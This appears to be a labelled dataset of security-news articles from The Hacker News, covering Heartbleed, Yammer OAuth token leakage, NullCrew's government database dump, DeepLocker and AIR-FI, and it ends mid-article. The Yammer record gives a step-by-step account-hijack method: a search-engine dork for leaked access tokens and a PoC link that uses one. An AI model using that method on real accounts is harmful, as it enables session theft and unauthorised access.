Due to insecure implementation of OAuth on the Yammer network, so through phishing or other exploits, user requests can be directed to a malicious Server where the User can receive malicious or misleading payloads and it is possible to steal other user profiles by simply requesting a leaked access token which can be acquired from publicly accessible search engine results.

Using the Google search engine, the researchers were able to find a particular link listed publicly in the results and upon requesting that link directly in the browser, the researcher was instantly logged in as the given user with full privileges to the profile. This way, The session gets authenticated without entering the login/password credentials.

As explained by Researchers to 'The Hacker News', The variable that is revealed publicly is located in the Yammer API module in the /api/v1/messages?access_token=[Valid Token Here] parameter.

This vulnerability results in a complete compromise of the affected accounts, user profile and the associated risk are critical. Exploitation of the vulnerability requires no user interaction and also no registered Yammer account is required. To capture the session the attacker can use a random empty session as a form to request.



Proof of Concept:
The remote Auth bypass vulnerability can be exploited by a remote attacker without a privileged application user account or user interaction. For demonstration or reproduce:
Use the following Google dork to find the valid access tokens listed publicly on the search engine cache results. Google Dork: site:yammer.com inurl:'access_token'
Open the POC link #1 in your browser , https://www.yammer.com/api/v1/messages?access_token=NPLpzPsWdtCeXaKxBGA (You will be directly authenticated as the affected user upon requesting the link)
Open another browser tab and visit the Yammer social network website (https://www.yammer.com)
You will now be redirected to the user profile with full access and privileges hence proving the existence of this vulnerability.
Video Demonstrations:
The issue has been patched one day ago by Yammer Team. According to researcher, TLS/SSL is the recommended approach to prevent any eavesdropping during the data exchange. Search Engine bots crawling should be restricted from capturing sensitive URL parameters from user sessions. Protecting the integrity of the Client Credentials and Token Credentials works fairly well when it comes to storing them on servers.

",Vulnerability
Israel preparing Cyber Iron Dome Shield,https://thehackernews.com/2013/01/israel-preparing-cyber-iron-dome-shield.html,"Israel's Prime Minister officially opened a new national program to train teenagers in the art of cyberwarfare. The program named ""Magshimim Le'umit"", is to prepare them for their future role in the military and intelligence community.

Israel Prime Minister Binyamin Netanyahu said the country's computer systems are facing attacks from Iran and other countries, and such attacks are set to increase in the digital age.

The new program will accept outstanding pupils aged between 16 and 18 and train them to intercept malicious attacks through a three-year course. Cyber security has become a national priority in Israel, with significant resources being invested in protecting the military and civilian computing networks.

Benjamin Netanyahu revealed plans to create a ""digital Iron Dome"" to protect vital infrastructure from hackers and viruses like last November, Israeli was under heavy cyber attacks from hacktivist group Anonymous as the latte protested against the Israeli attacks on Gaza.

""We are one of the world's leaders in the field of cybernetics and we must maintain this position. We will continue to cultivate the generation of the future,"" said Israeli prime minister Binyamin Netanyahu. The Prime Minister told prospective students that they will be the ""future interceptors for the state.""

",Cyber_Attack
Hacker dump database from US Government and Military websites,https://thehackernews.com/2012/10/hacker-dump-database-from-us-government.html,"Internet Activist and collective hacker group ""NullCrew"" released a huge dump of 7,000 names-passwords database from US Government websites and 2000 names-passwords database from Military websites.

Hacker claimed to hack into five websites, including Montana's Official State Website, United Nations, Louisiana Department of Environmental Quality, Texas Juvenile Justice Department, Force Health Protection & Readiness, domains are - unescoetxea.org, www.mt.gov, www.la.gov, www.texas.gov and fhpr.osd.mil respectiverly.

Few days back two Nullcrew members, null and 0rbit_g1rl claimed to perform the hack into above sites using few vulnerabilities such as ""Unproperly sanitized code, leading to disclosure of all files on a server and Boolean blind SQL injection"" and they threatened to release the database soon.
Today in a announcement via Twitter, hacker leaked the Database including 2000 and more Military, Air Force and Army officials usernames, email ID;s and Password (Encrypted).

After analysing the paste uploaded by hackers, I found the linux server kernal information disclosure from unescoetxea.org -- ""uname -a: Linux llgf010.servidoresdns.net 2.6.18-274.7.1.el5 #1 SMP Mon Oct 17 11:57:40 EDT 201"" which actually includes the timestamp of the command execution, that means this hack was actually performed by them about 10 days before the release date.

Hackers also disclose a cross site scripting bug in United Nation website webtv.un.org, and screenshot as shown below:

Note from Hacker:
# We here at NullCrew believe in non-censorship, and have noticed something..
# We have noticed that the government will never change their ways, they simply refuse to.
# No matter how much violence they cause, no matter how many times they refuse to admit their wrongs.
# No matter how many times they have denied documents for being factual.
# Even better, they REFUSE TO LET THEIR PEOPLE BE FREE!
# America, you have been a primary target for activists, and hacktivists alike.
# The true freedom fighters whom prove you wrong, you censor us; lock us away in prisons.
# You take away our freedom of speech, if the world relied on things such as free-source..
# The world would be a less corrupt place.
# Sadly, that won't happen anytime soon; as long as people from the system are greedy!
# Everyone shout:
# Let us be free!

",Vulnerability
How Heartbleed Bug Exposes Your Passwords to Hackers,https://thehackernews.com/2014/04/how-heartbleed-bug-exposes-your.html,"Are you safe from the critical bug Heartbleed?? OpenSSL- the encryption technology used by millions of websites to encrypt the communication and is also used to protect our sensitive data such as e-mails, passwords or banking information.

But a tiny, but most critical flaw called ""Heartbleed"" in the widely used OpenSSL opened doors for the cyber criminals to extract sensitive data from the system memory.

WHAT IS HEARTBLEED?
SSL and TLS are known to provide communication security and privacy over the Internet for applications such as websites, email, instant messaging (IM), including some virtual private networks (VPNs).

Heartbleed is a critical bug (CVE-2014-0160) is in the popular OpenSSL cryptographic software library, that actually resides in the OpenSSL's implementation of the TLS (transport layer security protocols) and DTLS (Datagram TLS) heartbeat extension (RFC6520).

This bug was independently discovered by a team of security engineers (Riku, Antti and Matti) at Codenomicon, while improving the SafeGuard feature in Codenomicon's Defensics security testing tools, and Neel Mehta of Google Security, who first reported it to the OpenSSL team.

Software vulnerabilities may come and go, but this bug is more critical as it has left the large number of private keys and other secrets exposed to the Internet. The heartbleed bug can reveal the contents of a server's memory, where the most sensitive data is stored, including the private data such as usernames, passwords, and credit card numbers.

This could allow attackers to retrieve private keys and ultimately decrypt the server's encrypted traffic or even impersonate the server.
""The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.""
HEARTBLEED WORLDWIDE IMPACT
OpenSSL is most widely used cryptographic library for Apache and nginx Web servers, which handles a service of Transport Layer Security (TLS) called Heartbeat, an extension added to TLS in 2012. The combined market share of just those two, Apache and nginx, out of the active sites on the Internet is over 66% according to Netcraft's April 2014 Web Server Survey.

Moreover, OpenSSL is used to protect email servers (SMTP, POP and IMAP protocols), chat servers (XMPP protocol), virtual private networks (SSL VPNs), network appliances and wide variety of client side software. Many large consumer sites are also saved by their conservative choice of SSL/TLS termination equipment and software. OpenSSL is also very popular in client software and somewhat popular in networked appliances which have most inertia in getting updates.

Security researcher 'Robert Graham' scanned the Internet and found that more than 600,000 servers are vulnerable to heartbleed flaw, including Yahoo.com, imgur.com, flickr.com, hidemyass.com. [List]

Because of Heartbleed bug, the Canada Revenue Agency was forced to shut down its electronic tax collection service yesterday and apparently, World's biggest audio platform SoundCloud also logged out its users for fixing this flaw.
Yahoo, which has more than 800 million users around the world, also has been exposed by the bug.

HOW HEARTBLEED WORKS?
It is not a problem with the TLS/SSL technologies that encrypt the Internet, neither with how OpenSSL works. It is just a dumb coding mistake.

Using Heartbeats extension two computers make sure the other is still alive by sending data back and forth to each other. The client (user) sends its heartbeat to the server (website), and the server hands it right back. If by chance anyone of them goes down during the transaction, the other one will know using heartbeat sync mechanism.

When that heartbeat is sent, a small amount of the server's short-term memory of about 64 kilobytes comes in reply from server and an attacker is supposed to grab it, that can leak sensitive data such as message contents, user credentials, session keys and server private keys. By sending heartbleed requests multiple times, an attacker is able to fetch more memory contents from the server.

This means, everything and anything in the memory such as SSL private keys, user keys used for your usernames and passwords, instant messages, emails and business critical documents and communication, and many more is vulnerable to cyber criminals. At this phase, you have to assume that it is all compromised.

About two-thirds of web servers rely on OpenSSL, means the information passing through hundreds of thousands of websites could be vulnerable.

So far, Security experts have found no direct evidence that anyone has managed to use the bug to steal information. The vulnerability has been fixed in OpenSSL v1.0.1g.

Major websites, including Gmail and YouTube, Facebook, Tumblr, Yahoo and Dropbox have fixed the problem, but there are still thousands of websites who are yet to fix the problem. Users are advised to change their passwords on only those affected websites, that tell you they've fixed the problem. READ MORE on how to protect yourself from Heartbleed bug.

Related Important Articles:




German Developer responsible for HeartBleed Bug in OpenSSL
How Heartbleed Bug Exposes Your Passwords to Hackers
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

",Vulnerability
Microsoft Releases Emergency Out-of-Band Patch for Kerberos Bug MS14-068,https://thehackernews.com/2014/11/microsoft-releases-emergency-out-of.html,"Microsoft today released an ""out-of-band"" security updates to fix a critical vulnerability in all supported versions of its Windows Server software that cyber criminals are exploiting to compromise whole networks of computers.

The Emergency patch release comes just one week after Microsoft provided its monthly security patch updates. The November 2014 Patch Tuesday updates included 16 security patches, five of which were rated by Redmond as ""critical.""

The security update (MS14-068) addresses a vulnerability in the Windows component called Microsoft Windows Kerberos KBC, authentication system used by default in the operating system. The flaw allows an attacker to elevate domain user account privileges and access rights to that of a domain administrator account.

As a result, if users unknowingly or accidentally run a malicious software on their system, it could therefore be used to compromise the entire network, which could be more dangerous for those who are handling intranets.
""The attacker can impersonate any domain accounts, add themselves to any group, install programs, view\change\delete data, or create any new accounts they wish,"" Chris Goettl of IT management firm Shavlik told The Hacker News in an email. ""This could allow the attacker to then compromise any computer in the domain, including domain controllers.""
The problem poses a severe threat to organisations and is only rated critical for Windows Server systems. While client systems would not be considered a target for an attack, so Windows home users are not likely to be affected by the flaw.

According to Microsoft, the vulnerable component is present in all supported versions of Windows, from Windows Vista to Windows 8.1, and from Windows Server 2003 to Server 2012 R2.

The company has made the emergency patch available for users and urged Windows users to install the update as quickly as possible, noting that hackers already are exploiting the weaknesses to launch targeted attacks.

The software giant said it had received warnings of ""limited, targeted attacks"" exploiting the vulnerability. The company credited ""the Qualcomm Information Security & Risk Management team"" for reporting the vulnerability, with special recognition for Qualcomm cyber security engineer Tom Maddock for his help.

",Vulnerability
'Karkoff' Is the New 'DNSpionage' With Selective Targeting Strategy,https://thehackernews.com/2019/04/karkoff-dnspionage-malware.html,"The cybercriminal group behind the infamous DNSpionage malware campaign has been found running a new sophisticated operation that infects selected victims with a new variant of the DNSpionage malware.

First uncovered in November last year, the DNSpionage attacks used compromised sites and crafted malicious documents to infect victims' computers with DNSpionage—a custom remote administrative tool that uses HTTP and DNS communication to communicate with the attacker-controlled command and control server.

According to a new report published by Cisco's Talos threat research team, the group has adopted some new tactics, techniques and procedures to improve the efficacy of their operations, making their cyber attacks more targeted, organised and sophisticated in nature.

Unlike previous campaigns, attackers have now started performing reconnaissance on its victims before infecting them with a new piece of malware, dubbed Karkoff, allowing them to selectively choose which targets to infect in order to remain undetected.

""We identified infrastructure overlaps in the DNSpionage and the Karkoff cases,"" the researchers say.

During Reconnaissance phase, attackers gather system information related to the workstation environment, operating system, domain, and list of running processes on the victims' machine.

""The malware searches for two specific anti-virus platforms: Avira and Avast. If one of these security products is installed on the system and identified during the reconnaissance phase, a specific flag will be set, and some options from the configuration file will be ignored,"" the researchers say.

Developed in .NET, Karkoff allows attackers to execute arbitrary code on compromised hosts remotely from their C&C server. Cisco Talos identified Karkoff as undocumented malware earlier this month.

What's interesting is that the Karkoff malware generates a log file on the victims' systems which contains a list of all commands it has executed with a timestamp.

""This log file can be easily used to create a timeline of the command execution which can be extremely useful when responding to this type of threat,"" the researchers explain.

""With this in mind, an organisation compromised with this malware would have the opportunity to review the log file and identify the commands carried out against them.""

Like the last DNSpionage campaign, the recently discovered attacks also target the Middle Eastern region, including Lebanon and the United Arab Emirates (UAE).

Besides disabling macros and using reliable antivirus software, you should most importantly stay vigilant and keep yourself informed about social engineering techniques in order to reduce the risk of becoming a victim of such attacks.

Due to several public reports of DNS hijacking attacks, the U.S. Department of Homeland Security (DHS) earlier this year issued an ""emergency directive"" to all federal agencies ordering IT staff to audit DNS records for their respective website domains, or other agency-managed domains.

",Cyber_Attack
Researchers Developed Artificial Intelligence-Powered Stealthy Malware,https://thehackernews.com/2018/08/artificial-intelligence-malware.html,"Artificial Intelligence (AI) has been seen as a potential solution for automatically detecting and combating malware, and stop cyber attacks before they affect any organization.

However, the same technology can also be weaponized by threat actors to power a new generation of malware that can evade even the best cyber-security defenses and infects a computer network or launch an attack only when the target's face is detected by the camera.

To demonstrate this scenario, security researchers at IBM Research came up with DeepLocker—a new breed of ""highly targeted and evasive"" attack tool powered by AI,"" which conceals its malicious intent until it reached a specific victim.

According to the IBM researcher, DeepLocker flies under the radar without being detected and ""unleashes its malicious action as soon as the AI model identifies the target through indicators like facial recognition, geolocation and voice recognition.""

Describing it as the ""spray and pray"" approach of traditional malware, researchers believe that this kind of stealthy AI-powered malware is particularly dangerous because, like nation-state malware, it could infect millions of systems without being detected.

The malware can hide its malicious payload in benign carrier applications, like video conferencing software, to avoid detection by most antivirus and malware scanners until it reaches specific victims, who are identified via indicators such as voice recognition, facial recognition, geolocation and other system-level features.

Also Read: Artificial Intelligence Based System That Can Detect 85% of Cyber Attacks

""What is unique about DeepLocker is that the use of AI makes the ""trigger conditions"" to unlock the attack almost impossible to reverse engineer,"" the researchers explain. ""The malicious payload will only be unlocked if the intended target is reached.""
To demonstrate DeepLocker's capabilities, the researchers designed a proof of concept, camouflaging well-known WannaCry ransomware in a video conferencing app so that it remains undetected by security tools, including antivirus engines and malware sandboxes.

With the built-in triggering condition, DeepLocker did not unlock and execute the ransomware on the system until it recognized the face of the target, which can be matched using publicly available photos of the target.

""Imagine that this video conferencing application is distributed and downloaded by millions of people, which is a plausible scenario nowadays on many public platforms. When launched, the app would surreptitiously feed camera snapshots into the embedded AI model, but otherwise behave normally for all users except the intended target,"" the researchers added.
""When the victim sits in front of the computer and uses the application, the camera would feed their face to the app, and the malicious payload will be secretly executed, thanks to the victim's face, which was the preprogrammed key to unlock it.""
So, all DeepLocker requires is your photo, which can easily be found from any of your social media profiles on LinkedIn, Facebook, Twitter, Google+, or Instagram, to target you.

Trustwave has recently open-sourced a facial recognition tool called Social Mapper, which can be used to search for targets across numerous social networks at once.

The IBM Research group will unveil more details and a live demonstration of its proof-of-concept implementation of DeepLocker at the Black Hat USA security conference in Las Vegas on Wednesday.
",Cyber_Attack
CVE-2012-0217 - Intel SYSRET FreeBSD Privilege Escalation Exploit Released,https://thehackernews.com/2012/07/cve-2012-0217-intel-sysret-freebsd.html,"The Vulnerability reported on 06/12/2012, dubbed as ""CVE-2012-0217"" - according to that Some 64-bit operating systems and virtualization software running on Intel CPU hardware are vulnerable to a local privilege escalation attack. The vulnerability may be exploited for local privilege escalation or a guest-to-host virtual machine escape.

FreeBSD/amd64 runs on CPUs from different vendors. Due to varying behaviour of CPUs in 64 bit mode a sanity check of the kernel may be insufficient when returning from a system call. Successful exploitation of the problem can lead to local kernel privilege escalation, kernel data corruption and/or crash.

Inj3ct0r team today released related private exploit on their website, which allow normal FreeBSD users to Privilege Escalation. All systems running 64 bit Xen hypervisor running 64 bit PV guests onIntel CPUs are vulnerable to this issue.

However FreeBSD/amd64 running on AMD CPUs is not vulnerable to thisparticular problem.Systems with 64 bit capable CPUs, but running the 32 bit FreeBSD/i386kernel are not vulnerable, nor are systems running on differentprocessor architectures.

Download the relevant patch from the location below:
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret.patch.asc
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81.patch.asc

[8.1 if original sysret.patch has been applied]
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81-correction.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81-correction.patch.asc

How to Apply the patch ?
# cd /usr/src
# patch < /path/to/patch

After Recompile your kernel as described and reboot the system and update system
# freebsd-update fetch
# freebsd-update install


DOWNLOAD ""FreeBSD Privilege Escalation Exploit""

",Vulnerability
Backdoor in Android for No-Permissions Reverse Shell,https://thehackernews.com/2011/12/backdoor-in-android-for-no-permissions.html,"Backdoor in Android for No-Permissions Reverse Shell
Security expert Thomas Cannon working at viaForensics as the Director of R&D has demonstrated a custom-developed app that installs a backdoor in Android smartphones – without requiring any permissions or exploiting any security holes.

Thomas built an app which requires no permissions and yet is able to give an attacker a remote shell and allow them to execute commands on the device remotely from anywhere in the world. The functionality they are exploiting to do this is not new, it has been quietly pointed out for a number of years, and was explained in depth at Defcon 18.

It is not a zero-day exploit or a root exploit. They are using Android the way it was designed to work, but in a clever way in order to establish a 2-way communication channel. This has been tested on Android versions ranging from 1.5 up to 4.0 Ice Cream Sandwich, and it works in a similar way on all platforms.

The application operates by instructing the browser to access a particular web page with specific parameters. This web page, and the server behind it, will, in turn, control the app by forwarding the browser to a URL that starts with a protocol prefix that is registered as being handled by the app, for example app://. This process can then be repeated and in doing so it enables two-way communication.
""In this demonstration Android's power and flexibility were perhaps also its downfall. Other smartphone platforms may not offer the controls we are bypassing at all, and the multi-tasking capabilities in Android allowed us to run the attack almost transparently to the user. This power combined with the open nature of Android also facilitates the customisation of the system to meet bespoke security requirements. This is something we have even been involved in ourselves by implementing a proof of concept Loadable Kernel Module to pro-actively monitor and defend a client's intellectual property as it passed through their devices. It is no surprise that we have seen adoption of Android research projects in the military and government as it can be enhanced and adapted for specific security requirements, perhaps like no other mobile platform before it."" Thomas Cannon said.

",Vulnerability
British Hacker Sentenced to 5 Years for Blackmailing U.S. Companies,https://thehackernews.com/2020/09/british-hacker-jailed.html,"A UK man who threatened to publicly release stolen confidential information unless the victims agreed to fulfill his digital extortion demands has finally pleaded guilty on Monday at U.S. federal district court in St. Louis, Missouri.
Nathan Francis Wyatt , 39, who is a key member of the infamous international hacking group 'The Dark Overlord,' has been sentenced to five years in prison and ordered to pay $1,467,048 in restitution to his victims.
Wyatt, who was extradited to the United States late last year after being held for over two years in the United Kingdom, has pleaded guilty to conspiring to commit aggravated identity theft and computer fraud.
U.K. police first arrested Wyatt in September 2016 during an investigation into the hacking of an iCloud account belonging to Pippa Middleton, the younger sister of the British royal family member Duchess of Cambridge, and stealing 3,000 images of her.
Though he was released in that case without charge due to lack of evidence, Wyatt was again arrested in September 2017 over hacking companies, credit card frauds, and blackmailing schemes to extort money from the victims.
According to court documents, Wyatt has attacked multiple healthcare providers and accounting firms in Missouri, Illinois, and Georgia states as a member of The Dark Overlord since February 2016, but the court documents do not name the companies.
The Dark Overlord (TDO) is infamous for remotely accessing the computer networks of victim companies in the United States and then stealing sensitive data, like patient medical records and personal identifying information.
""The Dark Overlord has victimized innumerable employers in the United States, many of them repeatedly,"" said U.S Attorney Jeff Jensen. ""I am grateful to the victims who came forward despite ransom threats and to the prosecutors and agents who were the first to catch and punish a member of The Dark Overlord in the United States.""
Wyatt admitted that his hacking gang members typically worked by obtaining sensitive data from victim companies and then threatening them to release the stolen data unless they paid a ransom of between $75,000 and $350,000 in bitcoin.
Wyatt's role at TDO was directly contacting victims and maintaining communication, payment, and virtual private network accounts that he used to send threatening and extortionate messages to victims and their family and friends.
In one such threatening message, Wyatt sent to the victims involved the daughter of one of the owners of the Farmington company, asking her, ""hi ... you look peaceful ... by the way did your daddy tell you he refused to pay us when we stole his company files?,"" adding that ""In four days we will be releasing for sale thousands of patient info. including yours.""
""Nathan Wyatt used his technical skills to prey on Americans' private data and exploited the sensitive nature of their medical and financial records for his own personal gain,"" said Acting Assistant Attorney General Brian C. Rabbitt of the DOJ's Criminal Division.
""Today's guilty plea and sentence demonstrate the department's commitment to ensuring that hackers who seek to profit by illegally invading the privacy of Americans will be found and held accountable, no matter where they may be located.""
The Dark Overload has previously been attributed to several hacking events, including leaking ten unreleased episodes of the 5th season of ' Orange Is The New Black' series from Netflix and hacking Gorilla Glue , Little Red Door cancer service agency, among others.

",Cyber_Attack
Detekt — Free Anti-Malware Tool To Detect Govt. Surveillance Malware,https://thehackernews.com/2014/11/detekt-free-anti-malware-tool-to-detect_20.html,"Human rights experts and Privacy International have launched a free tool allowing users to scan their computers for surveillance spyware, typically used by governments and other organizations to spy on human rights activists and journalists around the world.

This free-of-charge anti-surveillance tool, called Detekt, is an open source software app released in partnership with Human rights charity Amnesty International, Germany's Digitale Gesellschaft, the Electronic Frontier Foundation (EFF) and Privacy International, in order to combat government surveillance.

NEED AN EYE FOR AN EYE
The global surveillance carried out by the US National Security Agency (NSA) and other government agencies recently disclosed by the former NSA contractor Edward Snowden shed light on just how far our own government can go to keep track of citizens, whether innocent or otherwise. Therefore, such tool will help them see if their devices have been infected by any spyware.

Detekt was developed by security researcher Claudio Guarnieri, who has been investigating government abuse of spyware for years and often collaborates with other researchers at University of Toronto's Citizen Lab.
""It was intended as a triaging utility for human rights workers travelling around. It is not an AV [AntiVirus],"" explained the developer Claudio Guarnieri in an online discussion about the tool on Twitter with other security researchers.
With the help of Detekt scanning tool in investigations, Guarnieri and his colleagues discovered, for example, that the Bahraini government used FinSpy, surveillance spyware developed by German firm FinFisher. Among other, FinSpy software has ability to monitor Skype conversations, take screenshots and photos using a device's camera, record microphone use, emails, voice-over-IP and extract files from hard discs.

Moreover, Guarnieri's team also found that the Ethiopian government spied on journalists and activists in the U.S. and Europe, using a software developed by Hacking Team, another company that sells off-the-shelf surveillance tools, and similar companies.
""Governments are increasingly using dangerous and sophisticated technology that allows them to read activists and journalists' private emails and remotely turn on their computer's camera or microphone to secretly record their activities,"" Amnesty head of military, security and police Marek Marczynski said in a statement. ""They use the technology in a cowardly attempt to prevent abuses from being exposed.""
""Detekt is a simple tool that will alert activists to such intrusions so they can take action. It represents a strike back against governments who are using information obtained through surveillance to arbitrarily detain, illegally arrest and even torture human rights defenders and journalists.""
DOWNLOAD DETEKT ANTI-SURVEILLANCE TOOL
You can Download Detekt here.

Detekt, for now, has been designed for Windows PC users to scan their machines for known surveillance spyware that its developers warn is used to target and monitor specifically human rights defenders and journalists across the globe. The tool is not yet supported on the 64-bit version of Windows 8.1.

Detekt scans computers for infection patterns associated with several families of remote access Trojans (RATs) including DarkComet RAT, XtremeRAT, BlackShades RAT, njRAT, FinFisher FinSpy, HackingTeam RCS, ShadowTech RAT and Gh0st RAT.
""If Detekt does not find anything, this unfortunately cannot be considered a clean bill of health,"" the Detekt software's Readme file warns.
The tool can make you aware of the presence of spyware, but it is by no means 100 percent effective, and can't detect all types of spywares. So, the human rights group is encouraging software developers to contribute to the project.

",Malware
New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild,https://thehackernews.com/2017/03/apache-struts-framework.html,"Security researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild.

Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON.

In a blog post published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts.

According to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser.
""It is possible to perform an RCE attack with a malicious Content-Type value,"" warned Apache. ""If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.""
The vulnerability, documented at Rapid7's Metasploit Framework GitHub site, has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately.

Exploit Code Publicly Released

Since the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous.

The researchers even detected ""a high number of exploitation events,"" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands.
In some cases, the attackers executed simple ""whoami"" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads.

""Final steps include downloading a malicious payload from a web server and execution of said payload,"" the researchers say. ""The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.""
Attackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine.

According to the researchers, the attackers tried to copy the file to a benign directory and ensure ""that both the executable runs and that the firewall service will be disabled when the system boots.""

Both Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different implementation of the Multipart parser.

",Vulnerability
Dutch News site spread Malware on 100000 Computers,https://thehackernews.com/2012/03/dutch-news-site-spread-malware-on.html,"Dutch News site spread Malware on 100000 Computers


Dutch popular news site NU.nl appears to be serving Java exploit (drive-by malware) to users of IE. Nu.nl has approximately one hour long served the Javascript code that attempted to provide visitors to the news site with a trojan to infect. The attackers made use of servers in India which an exploit kit was placed.

The Ministry of Security and Justice issue a warning for malware yesterday by Nu.nl estimated to have infected 100,000 computers. Erik Loman, developer at security firm SurfRight, made known on Twitter on the front page of the news javascript code 'g.js' was blocked. The code triggered by Loman a nuclear exploit pack on a web server in India was placed.

The exploit script checked the browser and common plugins like Flash and Adobe Reader security hole. If an exploit was found, the server sent the Sinowal-malware, a trojan of Russian origin, which is continuously updated and attempts to steal bank details.

Officials at Nu.nl said that an account for the content management system Wednesday 'has fallen into the wrong hands. They confirm that the malware has been deleted now, Also new login information was distributed to managers and editors.

",Malware
Exfiltrating Data from Air-Gapped Computers via Wi-Fi Signals (Without Wi-Fi Hardware),https://thehackernews.com/2020/12/exfiltrating-data-from-air-gapped.html,"A security researcher has demonstrated that sensitive data could be exfiltrated from air-gapped computers via a novel technique that leverages Wi-Fi signals as a covert channel—surprisingly, without requiring the presence of Wi-Fi hardware on the targeted systems.
Dubbed ""AIR-FI,"" the attack hinges on deploying a specially designed malware in a compromised system that exploits ""DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands"" and transmitting information atop these frequencies that can then be intercepted and decoded by nearby Wi-Fi capable devices such as smartphones, laptops, and IoT devices before sending the data to remote servers controlled by an attacker.
The findings were published today in a paper titled ""AIR-FI: Generating Covert Wi-Fi Signals from Air-Gapped Computers"" by Dr. Mordechai Guri, the head of R&D at Ben-Gurion University of the Negev's Cyber-Security Research Center, Israel.
""The AIR-FI attack [...] does not require Wi-Fi related hardware in the air-gapped computers,"" Dr. Guri outlined.
""Instead, an attacker can exploit the DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands and encode binary data on top of it.""
Dr. Guri, earlier this May, also demonstrated POWER-SUPPLaY, a separate mechanism that allows the malware to exploit a computer's power supply unit (PSU) to play sounds and use it as an out-of-band, secondary speaker to leak data.
Air-gapped computers — machines with no network interfaces — are considered a necessity in environments where sensitive data is involved in an attempt to reduce the risk of data leakage.
Thus in order to carry out attacks against such systems, it is often essential that the transmitting and receiving machines be located in close physical proximity to one another and that they are infected with the appropriate malware to establish the communication link.
But AIR-FI is unique in that the method neither relies on a Wi-Fi transmitter to generate signals nor requires kernel drivers, special privileges such as root, or access to hardware resources to transmit the data.
What's more, the covert channel works even from within an isolated virtual machine and has an endless list of Wi-Fi enabled devices that can be hacked by an attacker to act as a potential receiver.
The kill chain in itself consists of an air-gapped computer onto which the malware is deployed via social engineering lures, self-propagating worms such as Agent.BTZ, tampered USB flash drives, or even with the help of malicious insiders.
It also requires infecting Wi-Fi capable devices co-located in the air-gapped network by compromising the firmware of the Wi-Fi chips to install malware capable of detecting and decoding the AIR-FI transmission and exfiltrating the data over the Internet.
With this setup in place, the malware on the target system collects the relevant data (e.g., confidential documents, credentials, encryption keys), which is then encoded and transmitted in the Wi-Fi band at 2.4 GHz frequency using the electromagnetic emissions generated from the DDR SDRAM buses used to exchange data between the CPU and the memory, thus defeating air-gap isolation.
To generate the Wi-Fi signals, the attack makes use of the data bus (or memory bus) to emit electromagnetic radiation at a frequency correlated to the DDR memory module and the memory read/write operations executed by processes currently running in the system.
AIR-FI was evaluated using four types of workstations with different RAM and hardware configurations as well as a software-defined radio (SDR) and a USB Wi-Fi network adapter that functioned as the receiver, finding that the covert channel can be effectively maintained at distances up to several meters from air-gapped computers and achieving bit rates ranging from 1 to 100 bit/sec, depending on the type and mode of receiver used.
If anything, the new research is yet another reminder that electromagnetic, acoustic, thermal, and optical components continue to be lucrative vectors to mount sophisticated exfiltration attacks against air-gapped facilities.
As a countermeasure, Dr. Guri proposes zone protections to safeguard against electromagnetic attacks, enabling intrusion detection systems to monitor and inspect for processes that perform intensive memory transfer operations, jamming the signals, and using Faraday shields to block the covert channel.
The AIR-FI malware shows ""how attackers can exfiltrate data from air-gapped computers to a nearby Wi-Fi receiver via Wi-Fi signals,"" he added.
""Modern IT environments are equipped with many types of Wi-Fi capable devices: smartphones, laptops, IoT devices, sensors, embedded systems, and smart watches, and other wearables devices. The attacker can potentially hack such equipment to receive the AIR-FI transmissions from air-gapped computers.""

",Cyber_Attack
Deadly Simple Exploit Bypasses Apple Gatekeeper Security to Install Malicious Apps,https://thehackernews.com/2015/09/hack-macos-gatekeeper-security.html,"Apple Mac Computers are considered to be invulnerable to malware, but the new Exploit discovered by security researchers proves it indeed quite false.

Patrick Wardle, director of research at security firm Synack, has found a deadly simple way that completely bypass one of the core security features in Mac OS X i.e. Gatekeeper.

Introduced in July of 2012, Gatekeeper is Apple's anti-malware feature designed to keep untrusted and malicious applications from wreaking havoc on Macs.

However, Wardle has found a quick and simple way to trick Gatekeeper into letting malicious apps through on Mac OS X machines, even if the protection is set to open apps downloaded only from the Mac App Store.

According to the researcher, before allowing any apps to execute on an OS X machine, Gatekeeper performs a number of checks, such as:
Checking the initial digital certificate of a downloaded app
Ensuring the app has been signed with an Apple-recognized developer certificate
Ensuring the app has been originated from the official App Store

Gatekeeper's Failure

However, what Gatekeeper fails to do is – checking whether the app already trusted by OS X runs or loads other files from the same folder.

This means once Gatekeeper approved an app, it pays no more attention to what that app does. The approved app can execute one or more malicious files, which could then install a variety of malicious programs, including:
Password loggers
Malicious apps that capture audio and video
Botnet software
and many more…
The proof-of-concept exploit developed by Wardle does exactly the same.

How to Bypass Gatekeeper in OS X?

